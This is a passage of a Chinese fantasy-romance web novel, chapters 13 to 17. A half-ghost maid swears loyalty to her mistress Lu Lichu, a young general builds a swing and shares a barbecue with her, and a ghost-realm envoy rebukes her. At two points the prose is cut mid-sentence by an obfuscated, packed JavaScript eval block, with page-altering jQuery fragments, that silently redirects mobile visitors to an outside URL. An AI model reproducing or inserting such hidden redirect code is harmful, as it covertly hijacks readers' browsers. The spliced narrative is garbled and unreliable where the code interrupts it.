她深深俯下身去,恭恭敬敬地对着陆梨初行了一礼。 一礼过后。 明霭直起身子,手腕翻转,圆润的指头骤然长出了尖利的指甲。 明霭狠下心来,那属于厉鬼的尖利指甲狠狠剜向心口。 陆梨初被她的举动惊住 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282701|151911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,一时不知该作何表情。 在明霭快要剜下那颗心时,陆梨初方才回过神来,忙忙伸手去拦。 “陆姑娘,明霭愿剜心认主,若是做出背叛姑娘的事,定叫我不得好死。” “姑娘,李嬷嬷唤人来问了,得赶快收拾收拾。”潮汐的声音从外面传来。 “就来。”陆梨初抬高声音开口应道。只是她的视线一直落在明霭身上,未曾移开半分。 明霭便以那幅半人半鬼的模样任由陆梨初打量着,也不知过了多久,或许只是片刻的时间。 陆梨初收回了按在明霭身上的手,“收拾收拾,待我晚上回来了再说。”陆梨初的视线落在明霭身上那被血染红的衣裳上,“别叫潮汐看见了,那丫头胆子小,经不得吓。” “多谢姑娘。”明霭重重磕了个头,心头却是松了一口气,知晓自己赌对了。 明霭同初阳不同,跟在裴子远身边,初阳许是有那么几丝真情在,可明霭却是迫不得已。 若是有得选,明霭定是会离司星府的人也好事也罢远远的。 原本跟着裴子远离了炎京,明霭以为自己脱离了司星府。 可谁想,裴子远并不是面上那个不争名夺利的富贵公子,他待明霭同初阳虽不似司星府那些人一般虐打蹂躏,却也是从未将她们当常人看待过。 屋外传来潮汐同陆梨初谈话的声音。 明霭缓缓站起身,虚虚笼起衣裳,好将胸前血污遮挡了去。 她眸光微微闪烁着,从那掩着的门框望了出去,而潮汐的脚步停在了门外。 “明霭。”潮汐的声音听起来有些担忧,“姑娘说你身子不舒服,你快些回房休息吧,院子里的活儿有我呢。” “我……”明霭张了张口,嗓子却隐隐有些痛,“我没事儿。” “声音都哑了,怎么还叫没事?”潮汐的声音略有些着急,似是跑动起来,“你快些回房吧,我先去替姑娘寻个鸟笼子来。” “明霭,姑娘吩咐的,叫我同你说好好休息。姑娘是个好人,你别怕。” 潮汐的声音渐渐远了,小院儿渐渐安静下来。 明霭变回了原先的模样,怀里抱着团旧衣,遮挡在胸前血污处,推开房门走了出去。 日光正甚,几乎有些迷人眼。 这叫明霭不由想起了自己第一次睁眼时的场景。 那时她满怀期盼,以为有着无数平淡又美好的日子等着她。 可谁知,她睁开眼,一脚踏进了地狱。 如今的日光,却是耀眼过那一日。 明霭那早就不抱希望的心却是缓缓跳动了起来,她看着挂在头上的那轮太阳,缓缓眨了眨眼。 潮汐有一句话说得没错,姑娘是个好人。 即便知道自己是半人半鬼,知道自己是裴子远派来探查她底细的,也未曾对自己下过死手。 明霭低下头去,不知是不是盯着太阳久了,眼前的事物渐渐起了重影。 只是她未曾低头太久,很快便抬起头来,大步走向了下人房。 而日光一直落在明霭的身后,将她的前路撒得亮亮堂堂。 14. 第 14 章 第十四章 - 陆梨初心里一直记挂着明霭的事儿。 虽说她不喜明霭是抱着目的来的她身边,可便是在鹤城那么多年,也从未见过有人剖心明志,剜心认主的。 方才那胸口皮肉外翻,白骨森森,一颗玲珑心在眼底跳动的情形萦绕在陆梨初的脑子里久久未能散去。 连带着用膳时都颇有些心不在焉。 宋渝舟几次想开口询问,可那话到了嘴边却又叫热茶给冲了下去。 早膳便在沉默里很快用完了。 “母亲。”宋渝舟起了身,迫使自己不去注意一旁的陆梨初,“我先去忙了。” “去吧。”宋夫人浑不在意地挥了挥手,手底摩挲着李嬷嬷先前寻摸来的上等料子,“梨初,你过来,今儿给你裁件新衣裳。” “宋伯母。”陆梨初凑到了宋夫人身旁,伸手接过那绯色的料子,“摸着可真软。” 宋渝舟见屋内的人似是并没有同自己再说话的意思,便退了出去,知鹤正装模作样地守在门外。 “小少爷,我替你去套马车。”见宋渝舟出来了,知鹤忙上前道。 “等等。”宋渝舟唤住了知鹤,“我同你一道去。” “哎。”知鹤只当是宋渝舟吃了早膳想要走动走动,放慢了脚下的步子,两人一前一后着朝着后院马棚去了。 “知鹤。”宋渝舟摩挲着左手拇指许久,才询问道,“昨儿晚上,吃食送给陆姑娘了。” “送过去了。陆姑娘还请我帮着照料小狗崽呢。”知鹤点了点头,补充道,“昨儿我去的时候,陆姑娘正在院儿里扎秋千呢。” “扎秋千?”宋渝舟手底动作些微一顿,他尚未同陆梨初院儿里的那两个丫鬟打过照面,但想来都是柔弱的姑娘家,扎秋千这种活怕是要做上许久。 “是啊。”知鹤点了点头,见宋渝舟追问,又补充道,“陆姑娘年岁还小呢,喜欢这些情理之中。” “今儿你不用跟着我去兵营了。”宋渝舟从马棚里牵出那匹高大的白色骏马,动作利落地翻身上马,俯视着知鹤道,“那两只狗崽子瞧着才一两个月大,你替陆姑娘好生照顾着。” 从宋府到城外兵营,骑着马用不了多少时辰。 半道上,宋渝舟还遇上了裴子远的马车,那车夫瞧见他,忙扬声唤了他一声宋小将军。 而裴子远听了动静,伸手挑开了翠绿色的车帘,探出半个头来。“渝舟,你今儿怎么骑马来的兵营?” 宋渝舟偏头去望,那不大的缝隙里隐隐有一女子抬眸望了过来,宋渝舟忙收回了视线,手中马鞭轻甩,落在了裴府车厢上,发出一声沉闷的响。“裴子远,平日里你吊儿郎当便算了,若是带去兵营别怪我军法伺候。” 裴子远回眸看了眼坐在自己身旁,裙衫微敞,满目春色的初阳,松开了挑着车帘的手。“渝舟,你等我片刻。” 话音落下,车厢内隐隐传来男子呵斥声同女子小声抽泣声。 宋渝舟轻轻夹紧马腹,白马甩着尾巴往前走了两步,同裴子远的马车拉开了距离。 裴子远很快便从马车里跳了下来,指挥着车夫将其中一匹马解了下来,翻身上马后,架着马行至宋渝舟身侧。 见裴子远跟了上来,宋渝舟再次打马向前。 “渝舟,我心里有分寸。”见宋渝舟似是不想打理自己,裴子远开口解释道,“只是从裴府往军营的路上百无聊赖,我才叫个小丫头同我一起逗趣解闷……” 宋渝舟并未开口,而裴子远却是话头一转,“渝舟,说来你们宋府没什么丫鬟奴仆,你身边就跟着个知鹤,你不明白同她们舞文弄墨的乐趣。” “乐趣?”宋渝舟见话题被引到了自个儿身上,不得不开口道,“子远,你如今尚未娶妻,身边便留着这么些莺莺燕燕,日后叫嫂嫂知道了该多么伤心。” “娶妻?”裴子远轻声重复了娶妻二字,平日里宋渝舟也不是没有撞见过自个儿这幅吊儿郎当的模样,往日的说辞都是些国尚未定怎能耽于美色,今儿这娶妻的言论叫裴子远甚是奇怪。 “渝舟,你怎么突然提起娶妻一事了?”裴子远催马跟上了宋渝舟的步调,“不过说来也是,再过上两月便是你及冠礼的日子,也是时候娶妻生子了。” “不过是随口一说。”宋渝舟不愈在这个话题上继续同裴子远纠缠,眼瞧着兵营就在眼前,便轻甩马鞭催促白马跑得更快了些。 这一次裴子远并未催马跟上宋渝舟,反倒握紧缰绳停了下来。 裴子远望着宋渝舟进了兵营,神色略有些晦暗,路边不知名的黄色野花被他身下这只不解风情的棕色大马踩得稀烂,花汁儿溅上了马蹄,染得棕色毛发隐隐发黄。 裴子远弯了食指,贴在嘴边,一道悠远哨声响起。 哨音渐散,一只扑腾着翅膀的白鸽子落在了马背上,歪着脑袋梳理着翅膀上的羽毛。 裴子远从马背上跳了下来,弯腰捡起那被踩得面目模糊的黄花,动作轻柔,好似是捧着什么稀世珍宝一般。 那白鸽子立在马背上,绿豆大小的眼珠子直转着,便是裴子远伸手握住了它纤细的脖子,也未曾挣扎,只是偏了偏脑袋,似有不解。 裴子远似是扯了扯嘴角在笑,又似没有半点表情。 只见他将那残破的黄花塞进了白鸽腿上绑着的信筒里,做完这一切后,裴子远松了手,那白鸽子振翅飞起,在他头顶盘旋两圈后便飞得远了。 裴子远仰头看着那白鸽愈飞愈远,直至在眼中消失了,他才牵着马走向兵营。 兵营内,一身着黑色夜行衣而不是甲胄的男子沉着脸色,避开众人耳目进了主将营帐。 “公子。”那男子见到宋渝舟忙跪下行礼,宋渝舟见到他却是有些错愕,似是没想到这黑衣男子会在如今的时间来到黎安。 “宋九,你不在炎京,怎么来了黎安?” 黑衣男子是宋家从前养的一批孤儿,他排行第九,故名宋九。 而宋九早些年被留在炎京,暗中保护着入了宫,如今成了贵妃娘娘的宋听棠。 “如今朝堂上有人提议同古鱼国和亲,陛下似乎也动了收回虎符的心思。”宋九低着头,将 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“宋九。”宋渝舟垂了眸去,面前的舆图是他看过千遍百遍的,可现在他却一时有些看不出山是哪出山,河又是哪条河了。“你现在便赶回炎京。带上宋七一起。” 宋七是排行第七的,一直暗中保护着宋夫人。 听了宋渝舟的话,宋九俯下身去,正欲称是,却听宋渝舟继续道。 “还有宋八,宋二,宋十一。都给他们传信,叫他们都往炎京赶。” 宋九心底惊骇,如今大炎国境内,还活着的便是他们五人。“公子,我们都去炎京?” “是,都去炎京。”宋渝舟伸手缓缓将面前的舆图收了起来,“我姐姐,便交由你们保护了。” “属下明白,宋九这就去。” 宋九动作间带出一阵风来,宋渝舟望着帐营一角许许没有动作。 宋家在军中威望甚高。 陛下疑心宋家早已不是一日两日的事情。 何况如今陛下年岁渐高,愈发痴迷起求道长生来,司星府里的那群人如今更得陛下青眼。 朝中奸臣比比皆是,而宋家虽说素来远炎京,在京中本不该有什么仇家。 可偏偏,陛下疑心宋家惹得朝中那群墙头草总跟着踩宋家一脚。 若是能退,宋将军早就想退了,可偏生偌大的炎国,除了他们姓宋的,竟实在寻不出旁的能镇住古鱼国的将领来了。 宋渝舟放在桌案上的手微微攥紧,他望着面前堆着的事务只觉得心烦,竟是破天荒地起了回宋府的念头。 便只是坐在桌案前看些闲书,又或是同宋夫人闲聊上半日,总归是好过如今坐在这边,满脑繁琐,叫人不想面对。 再不济—— 宋渝舟坐直了身子,想起了离府时知鹤说的话。 再不济,替陆姑娘扎个秋千也是好的。 既体现了宋家的待客之道,又叫他暂且避了这些繁琐事务。 宋渝舟猛然起身,出兵营时险些撞上裴子远。 任由裴子远连声唤他,宋渝舟都不曾停下半步,只上了马直直离开了兵营。 15. 第 15 章 第十五章 - 陆梨初跟着宋夫人学了许久的裁衣绣花。 直到李嬷嬷来唤才发觉已然是晡时了。 “是我不好。”宋夫人拉着陆梨初的手,满脸歉意,“同梨初你待着便忘了旁的事儿,李嬷嬷来了我才想起晚间还有宴席……” “不妨事。”陆梨初空出的那只手在装了花样绣线的篮子里翻找着,“我便先回去了,正好回去练练伯母先前教我的绣法。” 陆梨初弯着眉,晃了晃手中一块方形的帕子,“等我绣得花样能见人了,便给伯母绣个帕子。” “好孩子。”宋夫人看着陆梨初乖巧的模样,心里愈发柔软,“去吧,回头叫人去厨房瞧,想吃些什么便叫厨房做。” “多谢伯母。”陆梨初将那装满绣样的篮子提在手中,乖顺行礼道,“那我便先回了。” “姑娘。”潮汐守在外间,见陆梨初出来了,忙伸手想要替她接过手中的篮子,“这便回了吗?” “嗯。”陆梨初摆了摆手,依旧自个儿提着那篮子,“潮汐,你去厨房瞧瞧,有些什么新鲜的吃食,取些回来,晚上咱们在院儿里吃炙肉。” “我这便去。”潮汐说到底还是个半大姑娘,听到陆梨初的话,一双眼都亮了,一时也顾不上李嬷嬷教的规矩,急匆匆跑向了厨房。 陆梨初支着潮汐去厨房一来是她的确想吃炙肉了,二来是为了避开潮汐好听明霭好好讲一讲故事。 只是她尚未走近自个儿的小院儿呢,便听到谈话声从她院儿里传了出来。 “小少爷,陆姑娘回来了。”知鹤眼尖,远远便瞧见了陆梨初,似是为了应和他的话,小船儿猛地冲了出来,三两下便停在了陆梨初脚边,绕着她直打转。 “宋小将军?”陆梨初跨进了院子,放下了手中的篮子,瞧着宋渝舟额间隐有汗珠,衣服上更是沾满了木屑一时有些奇怪。“宋小将军来找我是有些什么事吗?” “我听知鹤说陆姑娘昨儿在扎秋千。”宋渝舟放下了手中的东西,解释道。 陆梨初循着他的话茬去看,昨儿还横躺在地上的圆木此时已经立了起来,隐隐有了秋千的形态。 “多谢宋小将军了。”陆梨初见着那快成了的秋千心中难免欣喜,三两步跑到了宋渝舟身边,“宋小将军手可真巧,昨儿忙活了许久都没成呢。” “一些小事,不值当陆姑娘的一声谢。”宋渝舟垂眸看着渐变乱作一团的工具,鼻翼前似有馨香袭来,叫他不由退后两步,生怕身上汗味儿叫陆梨初闻到了。 “今天宋小将军怎么这般早便回来了?”陆梨初绕着那半成的秋千转了好几圈,才想起宋渝舟这个时候不该出现在宋府。 “今日兵营没什么事,便早些回来了。”宋渝舟弯腰重新捡起地上的东西,继续先前的工作,“想着同母亲好好用一道晚膳。” 陆梨初手中动作微微一顿,“宋伯母出门了,说是今日有宴席。” 宋渝舟没想到自个儿的理由这般快便被戳破了,一时有些无措。 “若是宋小将军不嫌弃,便留下来一道吃炙肉吧,我叫潮汐那丫头去厨房寻些新鲜食材来了。”陆梨初想起了那日宋渝舟百发百中的箭法,再看向宋渝舟时,像是在看个宝贝,一双眼睛亮亮的,盯着宋渝舟,几乎要盯到宋渝舟心里去了。“只是厨房许是没多少了,还要劳烦宋小将军出门寻些山珍野味来。” “好……知鹤,去取弓箭,我们去后山打些山珍野味来。”宋渝舟本是想着趁陆梨初不在,替她扎好秋千便离开,谁知宋夫人下午仍有宴会,陆梨初回来得这般早,正尴尬着呢,陆梨初便给了他台阶下。是以赶忙吩咐知鹤取弓箭去了。 “陆姑娘,那回头便要叨扰你了。”宋渝舟低声道,“这些等我回来继续做,这秋千便当成姑娘请我同吃炙肉的谢礼。” “去吧去吧。”陆梨初挥了挥手,看着宋渝舟的背影时便好似已经看见了成串的野兔山鸡。 “姑娘。”待院儿里人都走了,明霭的声音才悠悠响起。她已经换了一身衣服,早间那副骇人的模样已经不见了。 陆梨初回眸看向她,脸上的笑凝固两分,微微抬起下巴,“过来吧。” 待明霭在她面前站定,陆梨初这才瞧见明霭脸上苍白得近乎病态,没有半点血色。 “坐下说吧。” 陆梨初微微阖上眼,右手支着脸颊,似是在小寐。 明霭略有些拘谨地坐在了陆梨初一旁的石凳上,小心翼翼地望向陆梨初,似是不知该从何开口。 陆梨初慵懒地睁开眼,“怎么了?不想讲给我听了?” “不……不是。”明霭攥紧了手指,“奴婢,奴婢只是一时不知从何讲起。”明霭深深吸了一口气,缓缓道,“奴婢第一次睁眼,是在炎京,司星府。” 大炎国的司星府,原本只管推算节气,制定历法。可自司星府出了位国师,事情便尽数变了。 司星府里的人一跃成了炎京中最受追捧的人。 而在寻常百姓眼中,司星府里的人则是更为神秘,传言里,他们更是同鬼神有关。 而明霭这个半人半鬼不似和漾那般,是那鬼将在人世时同一女子看对了眼后生下的。 明霭是被创造出来的半人半鬼。 她本是人,却是打出生起便被药汤浸着,从未有过清醒的日子。 待她睁眼那日,便早已被鬼气浸染侵蚀,成了个半人半鬼的怪物。 “这群人创造你们出来,图什么呢?”陆梨初睁开了眼,略有些奇怪,“你虽说是个半人半鬼,可既不会法术,也不能通鬼神。” 明霭垂了眼眸,睫毛像是秋日的枯蝶轻轻颤着,“姑娘,我们是什么都不能做,却是比寻常姑娘更要媚上两分。我……我同初阳算是命好的,没有被司星府的大人送给旁的官员,而是被派去了裴公子身边,看着他母子二人。” “看着他们?”陆梨初微微 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“姑娘,我知我命贱,可我只是想好好活着,哪怕是个怪物,我也想多晒两日的太阳。”明霭的指甲几乎嵌进了肉里,“陆姑娘,我虽是裴公子派到您身边来的,可我却是半点您的消息都没有传出去……” “明霭。”陆梨初突然开口打断了明霭的话,伸手从竹篮中摸出了针线同一块白色的绸布,“没有谁天生命贱。” “我虽算不得什么好人。”陆梨初手底动作很慢,明黄色的线弯弯曲曲地落在绸布上,“但你既然将自个儿的身份来历尽数告诉我了……” 陆梨初轻吸了一口气,白皙的指腹上沁出一滴血珠来。“那我也会像先前说的那样,无论是谁,都不能从我这儿取走你的命。” 那地血珠停在陆梨初的指尖,颤巍巍地。 明霭抬头去看,陆梨初却是浅浅一笑,手腕一翻,那沁出血珠来的指头便落在了她的手腕上。 明霭手腕上传来一阵凉意,她低头望去,那血珠落在手腕上,倒像是滴水入汪洋,很快便被她自身吸收了一般消失不见了。 明霭惊讶间只觉那日日悬在这身子里从未落到实处的魂魄竟是安稳下来。 浑身舒畅——是往日吃药的日子都未曾有过的畅快。 “姑娘……”因为强忍音量太久,再开口时明霭的声音有些沙哑,口腔中更是有着淡淡的血腥味儿。 陆梨初却是止住了她的话头,“行了,去收拾收拾,眼眶红成这样,叫潮汐见了还以为我又罚你了呢。” “我这就去。”明霭伸手胡乱擦了擦脸,“我去给姑娘做两个指护来,再叫针扎着可怎么好。” 陆梨初心里清楚,自个儿如今这绣花不过是图个新鲜,许是过几日兴头过了便不会再拿起针线了。但她却是没有制止明霭,白娆姑姑曾教过她,有些事儿并不是自己需要别人去做,而是旁的人自己想要去做。 陆梨初收回心思,视线重新落回了手中的白绸上,只见那明黄的线在绸布上弯弯扭扭的,活像一只长虫,难看得紧。 16. 第 16 章 第十六章 - 宋渝舟回到宋府时,陆梨初小院儿里已经燃起了篝火来了。 陆梨初用绸缎将宽大的裙衫束住,站在那火光前头,瞧着分外利索。 “宋小将军。”听到动静,陆梨初放下了手中的东西探头朝着宋渝舟身后看去,宋渝舟知晓她的心意,侧过身,露出了在后边挑着担子的知鹤。 知鹤喘着气放下了手中担子,担子两头各有一个竹篮,一个里边儿有两三只被束缚了四肢的兔子和一只翅膀受了伤的野鸡,而另一个竹篮里头却是血淋淋的两块肉排。 宋渝舟手中则是抱了个酒坛子,坛口虽仍封着,那酒香却是已经溢散开来。 “方才猎了头野猪。”宋渝舟的视线跟着陆梨初的,看着那不知原先是何模样的肉排,解释道,“几百来斤的东西我就先送去厨房了。” “快进院子吧。”陆梨初按下胃里的馋虫,弯腰正想提起那竹篮子,只是尚未弯下腰去,宋渝舟便拦住了她。 “你去火堆旁坐着吧。”动作间,宋渝舟触碰到了陆梨初的手腕,同自己总是温热的手掌不同,陆梨初的手腕是凉的,“厨子收拾完那野猪就会过来收拾这些,你只要安心等着吃炙肉便好了。” “潮汐。”宋渝舟阻拦住了陆梨初的动作后,视线落在院子里,那新来的两个丫头正一左一右坐在篝火旁呢,倒叫这个应当受照顾的忙前忙后,脸上都染了两抹灰。 “小少爷。”潮汐在陆梨初面前虽不似起初那般拘谨了,可对上宋渝舟却仍旧是心底发憷。骤然听到宋渝舟点她的名字,潮汐猛然从小马扎上站起身来,怀里装着针线的篮子险些散了一地。 “你们姑娘屋里有厚些的衣裳么?”宋渝舟刚将手中竹娄放下呢,一旁趴着的小船儿同五斤盐便闻到了血腥味儿,冲到了宋渝舟脚边,口中还时不时发出呜呜声。见两只肉团子模样的小狗绕着自个儿的鞋靴打转,宋渝舟连带着语气都松软下来,再开口时倒听不出几分责怪了。 “去寻件薄斗篷来,若是屋里缺什么记得同李嬷嬷讲。” “我这就去。”潮汐着急忙慌地放下手中物件儿,连走带跑地往屋里去了,路上险些栽个跟头。惹得陆梨初在后面高声提醒,“潮汐,你慢些走。” 也不知潮汐听到陆梨初的嘱咐没有,小姑娘的身影很快便消失在了半敞开的门内。 陆梨初望着那黑黝黝的门洞,忽得回头瞪了宋渝舟一眼,“宋小将军平日管人管得不尽兴么?怎么还来管我的人了。” “黎安春日夜里露水重。”宋渝舟不自觉伸手摸了摸鼻尖,却是想起了方才的一触及离,声音不由低了两分。“你只穿一件薄裙,恐要着凉。” 陆梨初却是不再理他,反倒同知鹤凑到了一块儿。 好在厨子很快便到了,宋渝舟同厨子一道将大块的肉分成适合入口的大小。 橙红色的火舌将纹理清晰的□□出油脂来。 而透明的油脂顺着炙烤的工具滴落进火堆里,叫那火舌窜得更高了,迎面便是一层灼人的热浪。 肉香混着酒香弥漫开来,不消片刻,这小院儿里便充满了这叫人口齿生津的味道。 人还好,小狗崽倒是先被这香味儿勾得口水四溢,叫陆梨初瞧着笑了许久,前俯后仰的。 “山鸡翅膀肉嫩。”宋渝舟手中举着一根鸡翅膀,递到了陆梨初面前,“只撒些盐便很美味了。” 陆梨初吸了吸鼻子,虽还记着方才宋渝舟出言管教自己的丫头,却还是没抵住那在鼻尖转了又转的香味,伸手接过了那根鸡翅。 一口咬下去,肉汁在陆梨初嘴巴里爆开。 而娇艳的唇上染了油脂,像是涂了上好的口脂一般,在篝火的映衬下,亮晶晶的,叫人移不开视线。 “我方才瞧见,这山鸡整个都是你料理的。”陆梨初脸上露出靥足的表情,缩在潮汐给她搬来的长椅上,歪着脑袋看向坐在一旁小马扎上,手中正在给食物撒盐的宋渝舟,“瞧不出来,宋小将军还有这般好的厨艺。” “我也不会旁的了。”宋渝舟专心看着手中的食物,“行军打仗,多数时候都是露宿在外,若有山鸡野兔算是加餐,自然是要好生料理。天长日久下来,也算练就了一项手艺。” “宋小将军已经行军打仗许多年了?” “小少爷第一次领兵的时候,尚不到十四岁!”知鹤突然插了进来,“他一人,带着不过十来人的队伍,直接深入敌营,烧了敌军粮草。” 说起宋渝舟的过往,知鹤话便多了起来,脸上满是与有荣焉。 “这六年来,小少爷更是没有败绩。”知鹤伸手比划着,脸上还有不知什么时候沾上的油渍,只是他浑不在意,“便是老爷那般要求严苛的人,都挑不出小少爷的错来,更不用提那些古鱼蛮子,更是听了小少爷的名号,便吓得丢盔弃甲,屁滚——小船儿!怎么能扑上来抢吃的!” 知鹤的夸赞之词戛然而止,面对着从自个儿手中抢食的小狗,知鹤哪儿还记得自个儿方才讲到哪里了,只顾得上满院子追着那雪球样的狗崽子。 “知鹤他说话总是这样。”宋渝舟手中握着刚考好的一串肉,递向了陆梨初,“夸大其词,陆姑娘你不要往心里去。” 陆梨初两手上都有东西,可宋渝舟递来的肉同样浓香四溢,叫她割舍不下。 许是酒太醉人叫陆梨初一时忘了这是在黎安,而不是在鹤城。只见她直起身子,往前探了两分。直接从宋渝舟手上接过了那食物——就跟她往常在鹤城时,会对着紫苏或是被她视若兄长的云辞所做的那样。 宋渝舟递出去的那只手仍悬在半空,视线却是下意识看向院子里的其他人。 并没有人注意到他们,可宋渝舟却无端觉得那只手似被放在火上灼烧着,叫他不得不微微蜷起指头,指节虚虚抵上了掌心。 让人甚是在意,不自觉地想要细细摩挲。 宋渝舟并未喝上多少,甚至没有陆梨初喝得多。 可宋渝舟却觉得今儿这酒分外醉人,不过小半盅就叫他头晕目眩,心如擂鼓。 “糊了。”陆梨初的声音突然响起,叫宋渝舟骤然回神,“宋小将军,糊了。” 陆梨初伸手轻轻推了推宋渝舟的肩,宋渝舟这才如梦初醒地看回自个儿手中的东西,有些手忙脚乱地将炙肉从火舌上拿离。 却听得陆梨初的轻笑在耳边响起。 “宋小将军。”陆梨初凑得近了些,宋渝 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14282704|151911||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 舟几乎能瞧见她眸中跃起的火花,“宋小将军酒量似是有些小,这便脸红成这般了。” 宋渝舟几乎是逃一般转移了自己的视线。 只是方才二人的对视,叫宋渝舟耳边听不到旁的声音了,好似置身于苍茫天地中,四周空无一物。 陆梨初的眸子里仿佛盛下了漫天星河。可那璨璨星河却又偏偏悠悠荡荡飘进了宋渝舟眼底。 碧月皎皎遁入云中。 长庚北斗黯然失色。 “陆姑娘。”宋渝舟的声音好似有些缥缈,他的话被院儿里的笑闹声压得叫人听不分明。 陆梨初投来探寻的目光,可注意力不消片刻,便叫一旁玩闹的知鹤吸引了去。 宋渝舟却是弯了唇,不再说话,视线却是落在陆梨初的身上,任她嬉笑。 陆梨初许久未曾这般畅快地吃酒了。 以至于一觉醒来后,额角依旧隐隐作痛,外间断断续续传来宋夫人的声音。 “这渝舟可真是胡闹。”宋夫人坐在外间,李嬷嬷立在她一旁,替她捶着背,“他倒好,昨儿吃了酒,今儿跟没事人一样一早就走了,可怜了梨初,竟是半夜烧了起来。” “夫人,大夫说了,陆姑娘没什么大碍,等醒了,吃两幅药便好全了。”李嬷嬷这边劝慰完宋夫人,又回头看向潮汐,“你快去瞧瞧姑娘醒了没有,醒了便去把药给端来。” “哎,我这就去。”潮汐轻手轻脚地进了内间,见陆梨初半梦半醒地睁开了眼,不由面露喜色,扑倒床边,将陆梨初扶了起来,“姑娘,您可算醒了。” “今儿天还没亮您就发起烧来了,奴婢怎么唤都没能唤醒你。”说着,潮汐隐隐眼眶含泪,“都是奴婢不好,昨儿也没有看着姑娘点儿,愣是叫姑娘染了风寒。” “我没事儿。”陆梨初清醒了过来,微微瞪了瞪潮汐,“说了多少次了,不要在我面前自称奴婢,我不喜欢。” “姑娘,先喝了醒酒汤吧。”明霭手中捧着仍冒着热气的醒酒汤走了进来,而宋夫人听了里面的动静也急急忙忙地起身走了进来。 “初梨,身上没什么不适吧?”宋夫人从明霭手中接过了醒酒汤,一勺一勺喂给陆初梨,面上满是心疼,“瞧瞧这脸色苍白的,往后可不能再吹夜风了。” “我没什么不舒服。”陆梨初小口喝着醒酒汤,汤的味道不好,可陆梨初却是难得没有耍她那小性子,反倒乖顺地尽数喝完了。 “摸着是没先前那般烫了。”宋夫人伸手摸了摸陆梨初的额头,“你啊,好生休息着,若是不舒服,我便将明儿的赏花宴给推了去。” “不用。”陆梨初忙开口道,“我睡一觉便好了,已经定了的事儿不好因着我一人就推后。” “你这孩子。”宋夫人脸上满是心疼,“好好休息吧,我先不闹你了。” 内间人很快又走了干净,陆梨初翻了个身,从怀里摸出先前云辞给她的玉片,指腹按在当中。 一缕鬼气便顺着那玉片的纹理消失不见了。 做完这动作,陆梨初才重新闭上眼。她在鬼界小八百年从未因穿得少染上过风寒,怎的倒是来了人世平白遭了这一回。 这分明就是替明霭安魄时出了岔子。 17. 第 17 章 第十七章 - 陆梨初睡得不太安稳。 潮汐过来给她喂过一次药,那药苦得陆梨初眉毛眼睛皱成了一团。 陆梨初便这样迷迷瞪瞪地睡了一整日,等太阳落下,似是才有了半点精神。 “姑娘,瞧着今儿夜间该下雨了。”潮汐正欲关上窗户时,却被陆梨初伸手拦了。 “闷了一天透透气。”陆梨初望了眼天际鱼鳞状的黑云,转头看着潮汐,“你早些回去休息吧,我已经好多了。” “姑娘。”潮汐讷讷,似是还想再说些什么,可对上陆梨初那双黝黑的眼睛却又什么都说不出来了。唯有一步三回头,千叮咛万嘱咐地离开了房间。临走时,还细心地替陆梨初将房门给关上了。 陆梨初侧头细听了会儿动静,见小院儿里安静了下来,方才站到了窗口,伸出手去。 一只通体漆黑,同那被关在笼子里的黑鸦一模一样的鸟儿落在了她的掌心当中。 陆梨初托着那鸟儿进了屋子,关上了窗户。 黑鸦从陆梨初掌心当中跳了下来,只是还未落地,便嘭得成了一团黑雾,黑雾散去,云辞赫然站着当中,面色似是不虞。 “云辞。”陆梨初坐回桌旁,难得勤快地替云辞斟上茶水,“怎么了这是,谁惹了我们云辞云大人。” “陆梨初!”云辞少有连名带姓唤陆梨初的时候。 陆梨初见云辞似是真恼了,收了脸上的笑,坐在了一旁。 “陆梨初,你当时怎么同我说的?”饶是云辞压低了声音,却也不难听出他语气中的怒气。 “你说你只是来人世散散心,顺带着在姓宋的姻缘上动一点点手脚。”云辞见陆梨初仍旧同往常一样,一副不愿意听的模样,便是再好的脾气也有些压抑不住了。 “你倒好,在人间也能同妖鬼扯上关系。”云辞冷冷道,“扯上关系便罢了,倒是学会做好人好事了?还会用你的血去替一个半鬼稳定魂魄,真是厉害啊陆梨初,我从前怎么不见你这般好心呢?怎么到了人世反倒心肠愈发软了?” 只一个照面,云辞便看出了陆梨初的病是符咒反噬所致,而那咒他也很熟悉,那是定半鬼的符咒。 “云辞,够了。”陆梨初原本还低眉顺目地听着云辞念叨。她自己也知道替明霭安魄的举动太过鲁莽,被云辞说上两句也是应该,但陆梨初本就不喜受人管教,见云辞说得愈发上瘾,不由也拉下脸来。 “我便是救了那个半鬼又怎么了?”陆梨初眸色冷了下来,她盯着云辞的眼睛,“我找你来,不过是想问问你,为何人世会有人操纵创造半鬼,不是让你来教训我的。” “梨初。”云辞叹了口气,面上的情绪软了两分,“人世不比在鬼界,你这次只是被那半鬼身上的咒反噬,难保会叫旁的人留心到你,惹下祸端。” “非说是祸端,那也是你或者说是陆川那个鬼王的错。”陆梨初站起了身,垫脚取下了那装着黑鸦的鸟笼子,重重放在了桌子上。 那黑鸦缩在笼子一角,脑袋埋在翅膀下,仍是鸟笼子重重落在了桌上,黑鸦依旧稳稳当当站着,愣是连羽毛都未曾动上半下。 “这本该是鬼界的东西,现在不知什么阿猫阿狗都能驱使了,这不是你们治下不严么?”陆梨初伸出一根指头,戳在了那黑鸦肉乎乎的身子上,“况且,三界九天,所有妖鬼均该记录在册,那我倒要问问你这个鬼王面前的一大红人,明霭这只半鬼可记录在册?” “梨初……” 